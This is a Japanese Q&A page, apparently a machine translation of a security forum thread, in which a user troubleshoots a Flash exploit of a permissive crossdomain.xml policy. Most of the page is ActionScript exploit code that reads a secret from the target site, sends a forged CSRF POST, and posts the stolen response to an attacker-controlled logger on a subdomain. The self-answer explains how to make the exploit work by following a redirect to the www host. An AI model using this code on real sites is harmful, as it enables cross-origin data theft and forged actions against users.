web-dev-qa-db-ja.com

誤って設定されたフラッシュcrossdomain.xmlを悪用しようとする際の一貫性のない動作

victim.com-誤って設定されたアプリケーションのURL。

https://victim.comhttps://victim.com/crossdomain.xml に過度に許容的なcrossdomain.xmlがあります。

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy 
  SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
  <allow-access-from domain="*.victim.com" />
</cross-domain-policy>

攻撃者はsomething。subdomain.victim.comを制御できます

攻撃者は、次のアクションスクリプトから生成されたSWFファイルをホストします。

// Adaptation of an exploit by John M as defined in 
// https://medium.com/@x41x41x41/exploiting-crossdomain-xml-missconfigurations-3c8d407d05a8
// PHP serverside is replaced with a simpler python cgi. Thanks to trustedsec

package {
 import flash.display.Sprite;
 import flash.events.*;
 import flash.net.URLRequestMethod;
 import flash.net.URLRequest;
 import flash.net.URLVariables;
 import flash.net.URLLoader;
 import flash.net.URLLoaderDataFormat;

 public class crossDomain extends Sprite {
  public function crossDomain() {

   // Fetching secret.

   var firstrequest:URLRequest = new URLRequest("https://victim.com/a?secret=test");
   var firstloader:URLLoader = new URLLoader();
   firstloader.addEventListener(Event.COMPLETE, completeHandler);
   try {
    firstloader.load(firstrequest);
   } catch (error: Error) {
    trace("Unable to load URL: " + error);
   }

   // Performing CSRF with a POST 

   var secondvariables:URLVariables = new URLVariables("a=test1&b=test2&c=test3&final=nothing");
   var secondrequest:URLRequest = new URLRequest("http://victim.com/someaction.html");
   secondrequest.method = URLRequestMethod.POST;
   secondrequest.data = secondvariables;
   var secondloader:URLLoader = new URLLoader();
   secondloader.dataFormat = URLLoaderDataFormat.VARIABLES;
   try {
    secondloader.load(secondrequest);
   } catch (error: Error) {
    trace("Unable to load URL");
   }

  }

  private function completeHandler(event: Event): void {

   // Retreiving the HTTP responses to attacker server.

   var request:URLRequest = new URLRequest("http://something.subdomain.victim.com:8000/cgi-bin/postlogger.py");
   var variables:URLVariables = new URLVariables();
   variables.data = event.target.data;
   request.method = URLRequestMethod.POST;
   request.data = variables;
   var loader:URLLoader = new URLLoader();
   try {
    loader.load(request);
   } catch (error: Error) {
    trace("Unable to load URL");
   }
  }
 }
}

エクスプロイトSWFは次のような場所でホストされています。

https://something.subdomain.victim.com:8000/crossDomain.html

GET /crossdomain.xmlが https://victim.com になるまでのすべてが発生しています。ただし、その後、victim.comドメインに送信されるリクエストはありません。

これがアクションスクリプトコードエラーである可能性は低いです。ローカルホストとテスト用に127.0.0.1で実行したときとまったく同じコードが機能しているためです。 [最後のcgiパーツが機能していない可能性がありますが、それは現時点では関係ありません。]

Crossdomain.xmlの応答に追加のセキュリティヘッダーはありません。

このエクスプロイトがvictim.comで機能しない理由は何ですか?

1
hax

彼らがいつも言うように、悪魔は細部にいた。

https://victim.com/crossdomain.xml に対するリクエストはcrossdomain.xmlですぐに応答せず、代わりにhttps://へのリダイレクトがありましたwww。victim.com/crossdomain.xml。これにより、ドメインへのそれ以上の要求が無効になります。

ターゲットURLをhttp://www.victim.com/a?secret=testおよびhttp://www.victim.com/someaction.htmlに変更すると、問題が解決しました。

1
hax